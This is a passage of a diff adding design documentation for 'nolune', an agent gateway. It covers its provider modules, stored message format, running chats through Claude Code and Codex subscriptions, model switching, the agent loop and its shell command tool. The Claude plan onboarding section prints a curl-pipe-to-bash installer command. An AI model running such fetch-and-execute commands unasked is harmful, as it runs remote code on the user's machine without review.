+ `claude-plan.ts`, Codex in `chatgpt-plan.ts`) runs the agent loop, so the runner hands it whole
148
+ turns (`runPlanTurn`; see [Plans](#plans)).
149
+
150
+ - **What's stored.** What nolune writes itself is in nolune's own format, and replies exactly as their
151
+ provider returned them; each provider's module turns both into its request (see
152
+ [nolune's format](#nolunes-format)).
153
+ - **Both SDKs load on first use** (`@anthropic-ai/sdk` in `anthropic.ts`, `openai` in
154
+ `openai-chat.ts` and `openrouter.ts`), not when core loads: the bundled CLI carries all of
155
+ core, and most `nolune` commands the agent runs never call a model. Loading OpenAI's up front made
156
+ each of them about 50 ms slower (lazily, the cost is Node parsing its code, around 10 ms).
157
+ Anthropic's is lighter (about 2 ms saved) and loads the same way, so the modules match. Error
158
+ classes are checked only once their SDK is loaded, since before that no error can be one of
159
+ them.
160
+ - **OpenAI** (`openai-chat.ts`) uses the Responses API through OpenAI's SDK (`openai`), which
161
+ also retries overloads, rate limits and dropped connections, like Anthropic's. Requests are
162
+ stateless (`store: false`), so every call sends the whole transcript, as with Anthropic, and
163
+ nothing depends on OpenAI keeping a conversation. Reasoning comes back encrypted
164
+ (`include: ["reasoning.encrypted_content"]`) and goes back with the reply's other items,
165
+ unchanged. nolune's own blocks become input items the same way on every call (`toResponsesInput`):
166
+ text as `input_text`, pictures as `input_image`, PDFs as `input_file`, command results as
167
+ `function_call_output` (pictures from `nolune view` included). `run_command` is sent as a function
168
+ tool built from the saved Anthropic definition, not strict, since `cwd` and the timeout are
169
+ optional.
170
+ - **Reasoning** on OpenAI is `reasoning.effort`, with the same five levels, and
171
+ `summary: "auto"`, which the chat shows as thinking. An organization that must be verified
172
+ before it gets summaries refuses them; nolune then asks without them for the rest of the
173
+ process's life, so replies still reason but the chat has nothing to show. GPT-4 and chat-tuned
174
+ models get no reasoning settings. A rebuilt system prompt doesn't drop OpenAI's reasoning (it
175
+ isn't bound to the prompt, unlike Claude's thinking).
176
+ - **What OpenAI doesn't have.** Its models API doesn't give a context window. nolune knows the
177
+ flagships' (`knownContextWindow`): every one since GPT-5.4 (`gpt-5.4`, `gpt-5.5-pro`,
178
+ `gpt-6-astra`, their dated snapshots) has 1,050,000 tokens. Other models (mini, nano, codex,
179
+ older ones) can have far less, and a window set too large would let a conversation grow past
180
+ what the model takes, for good, since history is never edited; so they get one only when the
181
+ admin sets it. Without one, the chat's context meter shows "?" and PDFs share 25% of 200k
182
+ tokens. Titles are asked for at `low` effort.
183
+ - **OpenRouter** (`openrouter.ts`) serves models from many providers behind one key, through its
184
+ Chat Completions API. OpenAI's SDK speaks it, pointed at `https://openrouter.ai/api/v1` (or
185
+ `OPENROUTER_BASE_URL`), so it brings the same retries and server-sent events; its errors are
186
+ that SDK's classes too, so `models.ts` asks `openrouter.ts` first, which remembers the errors
187
+ its own calls threw. Its Responses API isn't used: it's OpenAI's shape, documented for
188
+ OpenAI's models. Like the others, every call sends the whole transcript.
189
+ - **What an OpenRouter reply is stored as.** A reply is one assistant message, stored as its
190
+ pieces: its `reasoning_details` as they came (`reasoning.text` with Claude's signature,
191
+ `reasoning.summary`, `reasoning.encrypted`), then its text as a `text` block, then its
192
+ `tool_calls` (`function`). They stream in pieces keyed by `index` and are put together as they
193
+ arrive. They go back as one assistant message (`content`, `tool_calls`, `reasoning_details`),
194
+ the details unchanged and in order, which Claude and Gemini need to go on after a tool call.
195
+ They go back only to the model that wrote them; any other model (the chat switched) gets the
196
+ reply's text and calls (`portableReply`). Through OpenRouter a reasoning detail may be Claude's
197
+ thinking, bound to the system prompt, so details from before a rebuilt prompt are left out
198
+ (`beforePromptChange`), like thinking. A reply that was only reasoning has nothing to send and
199
+ is skipped.
200
+ - **nolune's format on OpenRouter** (`toChatMessages`). Text becomes `text` parts, command results
201
+ `tool` messages. An uploaded picture or PDF becomes a `file` part with its `file_id` (Chat
202
+ Completions takes pictures that way too); a picture that couldn't be uploaded goes as an
203
+ `image_url` part with a data URL, and one another provider's Files API holds as a note. A tool
204
+ message takes only text, so the pictures `nolune view` attached to a result follow, each after the
205
+ line naming it, in the user message after the results. `run_command` is sent as a function
206
+ tool, as for OpenAI. Before `resolveFiles` gives OpenRouter its copies, `readableMessages` turns
207
+ the pictures and PDFs the model can't take into notes: a chat that switched to a text-only
208
+ model may hold them, and a request carrying one would fail.
209
+ - **Reasoning** on OpenRouter is `reasoning.effort`, with the same five levels, which OpenRouter
210
+ maps for each model (a thinking budget for older Claude models, say) and ignores for models
211
+ that don't reason. The chat shows `reasoning.text` and summaries as thinking; encrypted
212
+ reasoning has nothing to show. Requests set no `max_tokens`, so OpenRouter allows the model's
213
+ own maximum: an account with too few credits for that gets a 402, which nolune shows with where
214
+ to add credits.
215
+ - **Models on OpenRouter.** Adding a preset reads OpenRouter's model list (`GET /models`), which
216
+ says what each model takes: nolune refuses one that can't call tools, since the agent works
217
+ through `run_command`, and takes the smaller of the model's `context_length` and its top
218
+ provider's as the window. A variant (`:nitro`, `:online`) is looked up as its model unless it's
219
+ listed itself. The list is kept for an hour for what the model can be sent (see
220
+ [Attachments](#attachments)). Titles are asked for at `low` effort with 2,048 tokens.
221
+ - **Custom providers** (`custom-providers.ts`): the family's own servers (Ollama, LM Studio, oMLX,
222
+ vLLM, llama.cpp's server, LiteLLM), each added by the admin as a provider of its own, among the
223
+ API keys: a name (`Ollama`, `GPU box`), the API it speaks, an address and an optional key, kept
224
+ in `config.json` (`customProviders`) and never sent to the page. Each shows by its name as a
225
+ provider chip in Add a model. Chats on one run on OpenAI's code (`openai-chat.ts`, the Responses
226
+ API: Ollama 0.13.3 and later, LM Studio 0.3.29 and later, vLLM, LiteLLM; not llama.cpp's server
227
+ yet) or Anthropic's (`anthropic.ts`, the Messages API: Ollama 0.14 and later, LM Studio 0.4.1
228
+ and later, llama.cpp's server, oMLX), as the `custom-openai` or `custom-anthropic` provider. A
229
+ server that speaks both is added once for each; the API stays as it was added, since its
230
+ presets' chats are in it, while its name, address and key can change. Each module takes a target
231
+ (`ResponsesApi`, `MessagesApi`) whose client is the SDK pointed at the server: OpenAI's at its
232
+ `/v1` (added when the address is only a host), Anthropic's at the address without it (the SDK
233
+ adds `/v1/messages`). Everything an SDK would read from the environment is given (a key, or `none`,
234
+ and no organization or project), so `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`,
235
+ `ANTHROPIC_AUTH_TOKEN` and Anthropic's saved credentials never reach a server; a server's key
236
+ goes both ways servers take it (`x-api-key`, and a bearer token for Ollama's). A custom
237
+ preset's model is `<id>/<model>` (`gpu-box/qwen3:32b`), the id made from the name when it was
238
+ added and never changed after, so the name can: ids have no slash, so the first one ends it, and
239
+ a chat copies it from its preset like any model id, so it stays on the custom provider it
240
+ started on; the server gets the model's own id. Adding one asks its server for its models
241
+ (`GET /v1/models`): one that turns the key down isn't saved, one that doesn't answer is, with a
242
+ warning, since it may not run yet.
243
+ - **What differs from OpenAI's and Anthropic's own.** Requests leave out what only they have:
244
+ OpenAI's encrypted reasoning and prompt cache key, and levels above `high` (sent as `high`);
245
+ Anthropic's cache marks, adaptive thinking and effort, and a server's `max_tokens` is 32,000
246
+ rather than 64,000, its window usually being smaller. A model a custom provider refuses
247
+ reasoning settings for (a 400 about reasoning or thinking) gets none from then on, learned
248
+ like OpenAI's refused summaries. A server's reasoning shows in the chat (a Responses API
249
+ server's `reasoning_text`, a Messages API server's `thinking`), and never goes back: it has
250
+ nothing encrypted, and no signature to check thinking by. A short reply (a title, the
251
+ note-taker's) drops the `<think>…</think>` a server without a reasoning parser leaves in the
252
+ text.
253
+ - **Pictures, models, errors.** Nothing says which of a server's models see pictures or read
254
+ PDFs, and there's no Files API, so those go as their paths (`modelInputs` is false for both),
255
+ and a chat that switched to one gets notes for those it holds. Adding a preset checks that
256
+ the server lists the model, when it lists any, and takes its window when the list says one
257
+ (`max_model_len`, as vLLM does; `context_length`); otherwise it's unknown until the admin sets
258
+ it. Whether the model calls tools shows at its first reply. A server's errors are OpenAI's or
259
+ Anthropic's SDK's classes, and their code's, so `custom-providers.ts` tags them with the custom
260
+ provider and `models.ts` asks it first; they name it ("Couldn't reach GPU box at …").
261
+ - **Another provider** (Gemini) would be one more module next to these, with a
262
+ function turning nolune's format into its request (Gemini's thought signatures would ride in
263
+ `native` like OpenAI's encrypted reasoning), a branch in each of `models.ts`'s functions, a
264
+ `FileStore` (or pictures inline), its key in `API_KEYS` (config.ts) with a check request in
265
+ `api-keys.ts`, and its name in `PROVIDERS` and the schema's `provider` enums (a TypeScript list
266
+ only: SQLite stores any text there).
267
+
268
+ ### nolune's format
269
+
270
+ `format.ts` defines what a conversation holds, whichever provider runs it: blocks (`text`,
271
+ `image`, `pdf`, `reasoning`, `tool_call`, `tool_result`) in messages. A picture's or PDF's source
272
+ is `media` (kept by nolune, which `resolveFiles` turns into each provider's copy before a request),
273
+ `inline` (base64, which every provider takes) or `uploaded` to one provider's Files API (rows
274
+ from before nolune kept its own copies). Each
275
+ provider's module turns messages into its request, leaving out what it can't take:
276
+ `toAnthropicMessages` in `anthropic.ts` (Claude Code on a Claude plan gets the same blocks, from
277
+ `toAnthropicBlocks`), `toResponsesInput` in `openai-chat.ts`, `toChatMessages` in
278
+ `openrouter.ts`, and `toCodexInput` in `chatgpt-plan.ts` (Codex on a ChatGPT plan, which takes
279
+ text and pictures). Nothing else in nolune knows a
280
+ provider's shapes: the runner, the chat's display, plain-text transcripts and image limits all
281
+ read nolune's format.
282
+
283
+ - **nolune's own rows** (people's messages, attachments, command results, automations' and
284
+ subagents' messages, notices, its own replies such as a notification continued in a chat) are
285
+ stored in it, with `message.format` 'nolune'.
286
+ - **Replies** are stored exactly as their provider returned them (`format` null), and read into
287
+ nolune's blocks with the original kept (`native`): only the model that wrote a reply reads its
288
+ reasoning back, and only unchanged. The encoders send `native` to that model, and the blocks'
289
+ text and calls (`portableReply`) to any other (see [Switching models](#switching-models)).
290
+ Anthropic's, OpenAI's and OpenRouter's type names differ, so `replyBlocks` reads any of them
291
+ without knowing who wrote it.
292
+ - **Rows from before nolune's format** have nolune's blocks in Anthropic's shape. They're read into nolune's
293
+ format the same way, and each block keeps what was stored (`storedAs`, in a `WeakMap`, never
294
+ written anywhere), which `toAnthropicBlocks` sends as it is: Claude gets those rows byte for
295
+ byte, as before, so old conversations keep their cache and thinking. A block nolune has no type
296
+ for (from those rows, or a result Claude Code wrote itself) is an `other` block that carries its
297
+ Anthropic original and goes only to Claude. Stored rows are never rewritten.
298
+
299
+ ### Plans
300
+
301
+ `claude-plan` and `chatgpt-plan` run chats on someone's own subscription instead of an API key.
302
+ Neither Anthropic nor OpenAI has other apps sign in to their accounts for this, so nolune doesn't:
303
+ each plan runs its maker's own agent, installed on this computer and unmodified, which signs in,
304
+ keeps the sign-in, bills the plan and runs the agent loop, asking nolune to run each command. The
305
+ two agents speak differently (below); what they share is in `plans.ts` and the runner:
306
+
307
+ - **One kind of turn.** The runner hands the agent a whole turn (`PlanTurn`, through
308
+ `runPlanTurn` in `models.ts`): the chat's session, what it hasn't seen yet in nolune's format (with
309
+ `resolve`, which reads nolune's copies of its pictures into it), nolune's system prompt and tools, and
310
+ callbacks that save each reply before its commands run, run a command and save the results, so
311
+ the chat gets the same rows and live events as from nolune's own loop. The session is
312
+ `conversation.provider_session` (its id, the last row it was sent, and the plan whose agent has
313
+ it), saved once the agent took the turn's input (`onStarted`). Only rows it hasn't been sent go,
314
+ as one message; a turn that failed after the agent took its input is continued with
315
+ `[Continue.]`. A chat the agent has never seen that already has replies (a notification opened
316
+ as a chat, or replies from another model the chat used before) gets them first as a plain-text
317
+ transcript, in a new session, and so does one whose session the agent lost
318
+ (`planSessionProblem`). Messages sent while the agent works join after its turn, not at its next
319
+ step.
320
+ - **Stop** interrupts the agent's turn and kills the running command, as elsewhere (a
321
+ `PlanStopped`); an agent that hasn't ended the turn 5 seconds later is closed. A reply cut off
322
+ mid-stream is dropped.
323
+ - **One kind of error.** Both turn whatever fails into a `PlanError` in words for the people in
324
+ the chat, with the plan's own `kind` (`authentication_failed`, `usageLimitExceeded`...), so
325
+ `describeApiError` and `shortApiError` know nothing about either.
326
+ - **One status.** `claudePlanStatus()` and `chatGptPlanStatus()` start the agent without sending
327
+ anything and say where it is (`path`, `installed`), who it's signed in as (`signedIn`: "signed
328
+ in as anna@example.com (Claude Max)", or "(ChatGPT Plus)", from `describePlanAccount`) and what
329
+ stops chats on it (`problem`). Adding a preset checks the same, since nothing is billed.
330
+ - **The same commands and page.** `nolune <plan> status` and `nolune <plan> setup` for both
331
+ (`packages/cli/src/plans.ts`), printing the same line, and `nolune config set
332
+ claude-path|codex-path` for an agent nolune doesn't find. `chatgpt-plan` adds
333
+ `logout` and `models`, which Codex has. Models & keys has one Plans list with a row for each.
334
+ - **Finding the agent.** The configured path, else the PATH and its installers' folders, since
335
+ the gateway may run without a login shell's PATH (as a LaunchAgent). Without one, every one of
336
+ the above says so and how to install it; at a terminal, setup offers the maker's installer,
337
+ asking first.
338
+ - **No Files API.** Pictures go inline for both, within the conversation's 20 MB. PDFs go inline
339
+ on the Claude plan and as their path on the ChatGPT plan, since Codex takes text and pictures
340
+ only.
341
+ - **What's different.** The context window isn't known before a call, except for Claude Code's
342
+ 1M-context models, whose ids say so (`claude-opus-5-5[1m]`), so the context meter shows "?"
343
+ (and PDFs get 25% of 200k tokens) unless the preset sets one. Titles are asked for through
344
+ the agent too, as one exchange without a session. Plan limits assume one person's ordinary use,
345
+ so the help, the page and the docs suggest keeping busy automations and subagents on an API key
346
+ preset.
347
+
348
+ ### The Claude plan
349
+
350
+ `claude-plan` presets run chats on the Pro or Max plan (Team and Enterprise work the same) that
351
+ someone signed in to Claude Code with on this computer, instead of an API key. Anthropic doesn't
352
+ let other apps sign in to Claude accounts or hold their tokens, so nolune doesn't: it runs the
353
+ installed Claude Code, unmodified, through the Claude Agent SDK
354
+ (`@anthropic-ai/claude-agent-sdk`, in `claude-plan.ts`), and Claude Code signs in and bills the plan
355
+ itself. Anthropic's help center counts this as Agent SDK use of the subscription, which draws from
356
+ the plan's usage limits (a separate monthly Agent SDK credit was announced for June 2026, then
357
+ paused). Those limits assume one person's ordinary use, which is why the docs suggest keeping busy
358
+ automations and subagents on an API key preset.
359
+
360
+ - **Who runs the loop.** Claude Code. Each turn is a `query()` that resumes the chat's Claude Code
361
+ session, whose id nolune picks: at first the chat's own.
362
+ - **What the model gets.** nolune's system prompt and the chat's saved `run_command` definition, as an
363
+ in-process MCP tool (`mcp__nolune__run_command` to the model). Claude Code's built-in tools, settings
364
+ files, CLAUDE.md, skills and MCP servers are left out (`tools: []`, `settingSources: []`,
365
+ `strictMcpConfig`, `dontAsk` permissions with only that tool allowed). Claude Code adds a short
366
+ line of its own to the system prompt and an environment note (working folder, date). The
367
+ working folder is the profile's, like commands'.
368
+ - **The same rows.** nolune turns the stream into its own rows and live events: each model call's
369
+ reply is saved (the tool's name back to `run_command`) before its commands run, then one
370
+ `tool_results` row with every result, as in nolune's loop. Claude Code starts a tool as soon as its
371
+ block is complete, so nolune's handler waits until the reply is saved (at `message_stop`, or when a
372
+ reply came whole). Commands run one at a time through `runToolCall`, with live output, `nolune view`
373
+ pictures (inline) and background commands as usual.
374
+ - **Environment.** Claude Code gets nolune's environment without `ANTHROPIC_API_KEY` and
375
+ `ANTHROPIC_AUTH_TOKEN`, which it would use (and bill) instead of the plan. A
376
+ `CLAUDE_CODE_OAUTH_TOKEN` there (from `claude setup-token`) reaches Claude Code but, like API
377
+ keys, not the agent's commands. nolune looks for `claude` on the PATH and in its installers'
378
+ folders (`~/.local/bin`, `~/.claude/local`, Homebrew), or at `nolune config set claude-path`. The
379
+ SDK's own copy of Claude Code (about 230 MB per platform) isn't shipped, so the Claude Code
380
+ people keep up to date is the one that runs.
381
+ - **Errors.** Claude Code reports API errors as a reply of its own (`error: authentication_failed`,
382
+ `rate_limit`...), which nolune shows as the chat's error, with how to sign in when that's the
383
+ problem. `nolune claude-plan status`, the admin page's Check sign-in and adding a preset start
384
+ Claude Code without sending anything and ask who it's signed in as (`accountInfo()`): a plan
385
+ (`Claude Max`...) or a `claude setup-token` token passes; an API key, another provider or no
386
+ sign-in ("Claude API") doesn't. Whether it takes the model only shows at the chat's first reply.
387
+ - **Onboarding.** Without Claude Code, every one of those says so and how to install it; nolune never
388
+ falls back to the SDK's own copy. At a terminal, `nolune claude-plan setup` offers what's
389
+ missing, asking before each: Anthropic's installer
390
+ (`curl -fsSL https://claude.ai/install.sh | bash`, which puts it in `~/.local/bin`, where nolune
391
+ looks even when the PATH doesn't), then Claude Code's own sign-in (`claude auth login
392
+ --claudeai`), which opens Anthropic's page in a browser and keeps what it gets. The admin page
393
+ shows the same steps but can't sign in itself: relaying Claude's sign-in through nolune's web page
394
+ would be nolune handling it.
395
+ - **Pictures and PDFs** go inline as base64, since there's no Files API: nolune's copies are read
396
+ into the request (`resolveFiles`). Claude Code passes them to the model as they are, and
397
+ `nolune view` pictures come back in `run_command`'s MCP result as images. They count against the
398
+ conversation's inline limit (20 MB, which keeps requests under the API's 32 MB); a chat that
399
+ moved to the plan with more than that sends the rest as notes, oldest first inline. A PDF's tokens can't be counted without the API, so they're estimated at 4,000 a page
400
+ (Anthropic's 1,500 to 3,000 for a page's text, plus the page as a picture) from the page count in
401
+ its page tree, read from the file (compressed object streams too), and checked against the same
402
+ 25% of the context window and the API's page limit. A PDF whose pages can't be counted
403
+ (encrypted, say) goes as its path.
404
+ - **Its own copy.** Claude Code keeps each chat under `~/.claude/projects`, which deleting the
405
+ chat in nolune doesn't remove yet.
406
+
407
+ ### The ChatGPT plan
408
+
409
+ `chatgpt-plan` presets run chats on a ChatGPT plan (Plus, Pro, Business, Enterprise) that
410
+ someone signed in to OpenAI's Codex with, instead of an API key. nolune runs the installed Codex
411
+ (`npm install -g @openai/codex`, or Homebrew's), unmodified, through `codex app-server`: the
412
+ JSON-RPC interface over stdio that Codex's own IDE extension uses and OpenAI documents for
413
+ integrations (`codex-app-server.ts` carries the messages, `chatgpt-plan.ts` says what to ask).
414
+ Codex signs in with ChatGPT, keeps the sign-in fresh and bills the plan's Codex limits itself.
415
+
416
+ - **Codex's home.** nolune gives Codex a home of its own (`CODEX_HOME=~/.nolune/codex`), apart
417
+ from the owner's `~/.codex`: its sign-in, settings and threads are nolune's alone, and nolune's chats
418
+ don't show up in the owner's Codex. nolune never reads the sign-in there.
419
+ - **Who runs the loop.** Codex. A chat is a Codex thread, whose id Codex picks: a turn starts one
420
+ (`thread/start`) or resumes the chat's (`thread/resume`), starts a turn with the new input
421
+ (`turn/start`) and follows its events until `turn/completed`. A thread Codex no longer has ("no
422
+ rollout found") is a lost session. Codex runs for one turn and is closed after, like Claude
423
+ Code. It sets up its home's state database as it starts, which two starting at once trip over,
424
+ so nolune starts one at a time, and starts again once a Codex that ended while starting.
425
+ - **What the model gets.** nolune's system prompt as Codex's base instructions, and the chat's saved
426
+ `run_command` as a dynamic tool (`dynamicTools`, in a `nolune` namespace; experimental in Codex, so
427
+ nolune opts in with `experimentalApi`). Codex's own tools that act on the computer or reach out are
428
+ off, from its command line so no config.toml turns them back on (`-c features.shell_tool=false`
429
+ and so on: shell, pictures, image generation, web search, browser and computer use, apps,
430
+ plugins, skills, goals, sub-agents), AGENTS.md files aren't read (`project_doc_max_bytes=0`),
431
+ and turns have no execution environment (`environments: []`), which also leaves out
432
+ `apply_patch`. What's left is Codex's harness: the model calls tools from short scripts
433
+ (`exec`, and `wait` for a long one), which reach nolune as `item/tool/call` requests. The thread's
434
+ sandbox is read-only with approvals off, since Codex itself runs nothing. Codex adds notes on
435
+ permissions and the environment (date, time zone).
436
+ - **The same rows.** nolune saves what Codex streams as OpenAI's output items (`reasoning`
437
+ summaries, `message`, a `function_call` for each command), which the chat reads as it reads
438
+ OpenAI's replies. A command's reply is saved when Codex asks to run it, with what the model said
439
+ since the last one; a script may ask for several at once, but nolune runs them one at a time, each
440
+ with a reply and results of its own. Results go back as Codex's content items: text, and `nolune
441
+ view` pictures as data URLs. Deltas (`item/agentMessage/delta`, reasoning summaries) are the
442
+ live reply.
443
+ - **Pictures** go to Codex as data URLs, read from nolune's copies (`resolveFiles`) within the
444
+ conversation's inline limit, in messages and in command results. A PDF, and a picture from before
445
+ nolune kept its own copies (held by another provider's Files API), becomes a note saying where its
446
+ file is, since Codex takes text and pictures only.
447
+ - **Usage.** Codex says what a model call used (`thread/tokenUsage/updated`) only once the
448
+ commands it asked for have finished, after nolune saved the reply that asked for them. So only the
449
+ reply that ends a turn has usage, its own call's, and a chat's totals leave out calls that asked
450
+ for commands. Codex caches prompts itself.
451
+ - **Environment.** Codex gets nolune's environment without `OPENAI_API_KEY` and `CODEX_API_KEY`,
452
+ which it would use (and bill) instead of the plan. npm's `codex` is a Node script, so the Node
453
+ that runs nolune goes on its PATH, and its folder is where nolune looks for `codex` too.
454
+ - **Signing in** is Codex's own device code flow through the app server (`account/login/start`
455
+ with `chatgptDeviceCode`): Codex asks OpenAI for a one-time code, someone signed in to ChatGPT
456
+ enters it at `auth.openai.com/codex/device` on any device, and Codex saves the sign-in
457
+ (`account/login/completed`). Nothing redirects back to this computer, so it works through a
458
+ tunnel, from a phone and from the agent's commands. A sign-in under way is a Codex waiting for
459
+ its code in the process that started it: the gateway for Models & keys, which asks again every
460
+ few seconds until the code is entered, or `nolune chatgpt-plan setup`, which prints the link and
461
+ the code and waits. Signing out is Codex's (`account/logout`). The status is Codex's
462
+ `account/read`: a ChatGPT account passes, named with its plan (`plus`: "ChatGPT Plus"); an API
463
+ key doesn't.
464
+ - **Models** are the ones Codex lists (`model/list`, with the ones its picker hides): adding a
465
+ preset checks the model is there. Codex doesn't say their context windows.
466
+ - **Errors.** A failed turn's error (`codexErrorInfo`: `unauthorized`, `usageLimitExceeded`,
467
+ `contextWindowExceeded`...) is shown in Codex's words, with how to sign in when that's the
468
+ problem. Codex retries what can be retried itself.
469
+ - **Onboarding.** At a terminal, `nolune chatgpt-plan setup` offers npm's installer (`npm install -g @openai/codex`), asking first, then sign in. The admin
470
+ page shows the install command, and signs in itself, since the code is entered on OpenAI's
471
+ page, never on nolune's.
472
+ - **Its own copy.** Codex keeps each chat's thread under `~/.nolune/codex/sessions`, which
473
+ deleting the chat in nolune doesn't remove yet.
474
+
475
+ ### Switching models
476
+
477
+ Anyone in the profile can switch a chat to another preset, or another reasoning level, from the
478
+ chip in its composer; `nolune agent run <id> --preset` does it for a subagent given more work.
479
+ `setPreset` takes a new snapshot of the preset (name, provider, model, context window), and the
480
+ next model call uses it, even in the middle of a turn, so a model that keeps failing can be left
481
+ behind with Continue. It's refused when the conversation is already larger than the new model's
482
+ window (from its last call's usage): history is never edited, so it could never fit. Everyone who
483
+ has the chat open gets the change as a live `model` event (also in the snapshot).
484
+
485
+ - **What it costs.** Caches belong to one model, so the first call on the new one reads the whole
486
+ conversation again (a new reasoning level does the same on Claude). Once the chat has a reply,
487
+ the chat asks before either change, saying so (with the tokens, in technical details).
488
+ - **Who wrote what.** Every row records the provider its content was made for (`message.provider`:
489
+ the one whose model wrote a reply, or whose Files API a message's or command result's pictures
490
+ went to) and replies their model (`message.model`). Rows from before this were given their
491
+ conversation's. The chat shows which model wrote each reply in technical details.
492
+ - **What each model gets.** `requestMessages` reads the rows into nolune's format, and the target's
493
+ encoder (see [nolune's format](#nolunes-format)) decides what it can take. Both depend only on what's
494
+ stored, so after the one miss the prefix is byte-identical again. Stored rows never change.
495
+ - Claude gets replies from other Claude models as they are. The API itself leaves out thinking a
496
+ model can't read (it's bound to the model that made it), without an error; stripping it would
497
+ be an edit, which breaks preserved thinking for the model that can read it.
498
+ - Replies from another provider go as their text and tool calls (`portableReply`), without
499
+ reasoning. So do replies from another OpenAI model or another model on OpenRouter (reasoning
500
+ goes back only to the model that wrote it, and items without their reasoning lose their ids)
501
+ and a plan's replies (a Claude plan's thinking was signed for another account, and Codex keeps
502
+ a ChatGPT plan's reasoning to itself). Anthropic accepts
503
+ tool calls without thinking in the middle of a turn, so a switch can happen there.
504
+ - Pictures and PDFs go along: nolune keeps them and each provider gets its own copy (see
505
+ [Attachments](#attachments)). Only those from before nolune kept its own, stored as another
506
+ provider's `file_id` (an `uploaded` source), become a note: this model can't open that copy,
507
+ and the line before it (the attachment's label, or `Image: <path>` in a command result) says
508
+ where the file is, so `nolune view` shows it again. The switch dialog mentions them when the chat
509
+ has any (`heldFileProviders`). A model on OpenRouter that can't see pictures or read PDFs, and
510
+ any model of a custom provider, gets the same kind of note for those it can't take
511
+ (`readableMessages`).
512
+ - **The plans.** A plan's agent keeps its own copy of the chat, so a chat that comes back to a plan
513
+ after another model answered starts a new session (on the Claude plan, a random id: the chat's
514
+ own is taken) with the chat so far as a transcript, as a notification's chat does. So does one
515
+ that moves from one plan to the other: the saved session says whose it is. Switching between
516
+ presets of the same plan keeps the session, and the agent resumes it on the new model.
517
+
518
+ ## Agent loop
519
+
520
+ This is a hand-written loop over the provider's streaming call (Anthropic's `messages.stream()`,
521
+ OpenAI's Responses API, OpenRouter's Chat Completions) rather than an SDK's tool runner, because
522
+ each step must be saved to SQLite and resumed from there, including after a gateway restart.
523
+
524
+ ```
525
+ kick(conversation): one loop per conversation at a time
526
+ loop:
527
+ commit queued human messages (assigns seq; this is how steering happens)
528
+ if the last committed row isn't a user row: stop
529
+ stream a model call → append an assistant row
530
+ if it contains tool_use blocks:
531
+ run them one after another (run_command, or a memory operation) → append one user row with
532
+ every tool_result
533
+ (if stop_reason isn't tool_use, the calls are answered with "not run" instead)
534
+ ```
535
+
536
+ - **Stop** aborts the stream (the partial reply is dropped, nothing is appended) or kills the running
537
+ command's process group. Unfinished calls are answered with `Stopped by <name>.` Queued messages
538
+ are committed without calling the model, and the next message continues the conversation.
539
+ - **API errors** leave the transcript ending on a user row. The UI then shows a **Continue** button,
540
+ which calls `kick` again.
541
+ - **Gateway restart:** an assistant `tool_use` with no result gets an appended "interrupted" result,
542
+ and conversations with queued messages are started again.
543
+ - Several consecutive user rows (for example tool results followed by steering texts) are sent as
544
+ separate messages. The API merges them into one turn.
545
+ - **Messages from the gateway** queue like a person's and join the transcript the same way: a
546
+ background command's output (`task_result`) and, in a subagent's conversation, its task and steers
547
+ (`agent_message`). Each one is plain user text with a bracketed first line saying where it comes
548
+ from (`[Background command finished: …]`), not a mid-conversation system message: not every model
549
+ takes those, and a command's output mustn't get system authority.
550
+
551
+ ### `run_command`
552
+
553
+ - Input: `{summary, icon, command, cwd?, timeout_seconds?, run_in_background?}` (chats from before
554
+ saved tools don't have `run_in_background`). Runs as `$SHELL -lc <command>`, so every
555
+ call starts a fresh login shell and `cd` doesn't carry over between calls.
556
+ - `summary` (what the command does, in plain words and the conversation's language) and `icon` (a
557
+ Lucide icon name) are only for the web UI, which shows them instead of the command. They come
558
+ first in the schema so they stream in before the command. Required in the schema so the model
559
+ always writes them, but a call without them still runs.
560
+ - Default timeout 120 s, maximum 1800 s. On timeout or Stop, the whole process group is killed.
561
+ Background processes that a command detaches keep running.
562
+ - No stdin. `TERM=dumb`, `NO_COLOR=1`, `PAGER=cat`.
563
+ - Output is stdout and stderr interleaved, with ANSI codes removed, capped at 30 KB (the first 10 KB and
564
+ the last 20 KB are kept), followed by an exit-code line. Images the command showed with `nolune view`
565
+ follow as image blocks (below).
566
+ - The environment is the gateway's own, minus its secrets (`ANTHROPIC_API_KEY`, `BETTER_AUTH_SECRET`, …),
567
+ plus the `commandEnv` values from `config.json` (for example `FIRECRAWL_API_KEY`), plus
568
+ `NOLUNE_PROFILE`, `NOLUNE_PROFILE_DIR`, `NOLUNE_CONVERSATION_ID` and `NOLUNE_VIEW_DIR`.
569
+ - `eager_input_streaming` is left off: the input is one short command, and leaving it off keeps the API's
570
+ own input validation.
571
+
572
+ ### Background commands
573
+
574
+ - With `run_in_background: true` the call is answered as soon as the shell starts: "Started in the
575
+ background (process group N) …", with `kill -TERM -N` to stop it early. The agent keeps working
576
+ or ends its turn.
577
+ - When the command ends, its output (capped like any command's, with the exit-code line) is queued
578
+ in the conversation as a `task_result` message, `[Background command finished: <summary>]`, the
579
+ command and the output, and the conversation is kicked: the agent reads it at its next step, or
580
+ it starts a new turn. The chat shows it as a folded card.
581
+ - Default timeout 3600 s, maximum 86400 s. No `NOLUNE_VIEW_DIR`, since nothing collects pictures from
582
+ a command nobody waits for.
583
+ - The processes live in the gateway (`background.ts`); a `background_command` row per running one
584
+ lets the next start queue "[Background command cut off …]" for commands a restart killed, so an
585
+ agent waiting on one isn't left waiting.
586
+ - **Stop** in a chat also stops its background commands and its subagents (`stopConversation`), and
587
+ nothing they would have handed over reaches the conversation. The chat lists what's still
588
+ working in the background, with a Stop button that works while the agent itself is idle. A
589
+ `nolune agent watch` running there is the same work as the subagent it waits for, so the list shows
590
+ only the subagent. Deleting a chat stops them first.
591
+
592
+ ### Seeing images: `nolune view`
593
+
594
+ The agent looks at an image by running `nolune view <file>...`. There is no second tool: the images are
595
+ attached to that `run_command` call's `tool_result`, which may hold image blocks, so the tool
596
+ definition and every conversation's cache stay as they are. Like automations, nothing is added to
597
+ the system prompt beyond the skills catalog: the built-in `view-images` skill explains `nolune view`,
598
+ and how to see what isn't a picture file yet (the screen, PDF pages, video frames, web pages),
599
+ crops for small print and contact sheets for many photos. A profile that turns the skill off
600
+ doesn't learn about `nolune view`. Showing pictures to people is the other direction, in
601
+ [Pictures and files](#pictures-and-files).
602
+
603
+ - **Handoff.** Every call gets a fresh temp folder (`NOLUNE_VIEW_DIR`) holding the conversation's
604
+ remaining image allowance. `nolune view` prepares each image, writes it there and adds a line to a
605
+ manifest. After the command exits the gateway checks the files again, attaches them after the text
606
